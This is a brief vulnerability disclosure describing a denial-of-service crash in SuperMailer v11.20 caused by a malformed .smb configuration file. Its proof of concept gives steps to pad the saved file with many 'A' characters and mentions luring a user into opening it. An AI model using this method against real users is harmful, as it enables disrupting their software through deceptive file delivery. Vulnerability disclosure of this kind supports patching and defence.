Vulnerability description: A vulnerability in Newsletter Software
SuperMailer v11.20 32bit/64bit [11.20.0.2204] could allow an attacker to
cause a process crash resulting in a Denial of service (DoS) condition for
the application on an affected system. The vulnerability exists due to
insufficient validation of certain elements with a configuration file
malformed. An attacker could exploit this vulnerability by sending a user a
malicious SMB (configuration file) file through a link or email attachment
and persuading the user to open the file with the affected software on the
local system. A successful exploit could allow the attacker to cause the
application to crash when trying to load the malicious file.

Proof of concept:

1.- Go to File -> Save program options...
2.- Save the file (default extension *.smb)
3.- Edit file and you introduce a lot of A in somewhere. Example: DoS.smb
file
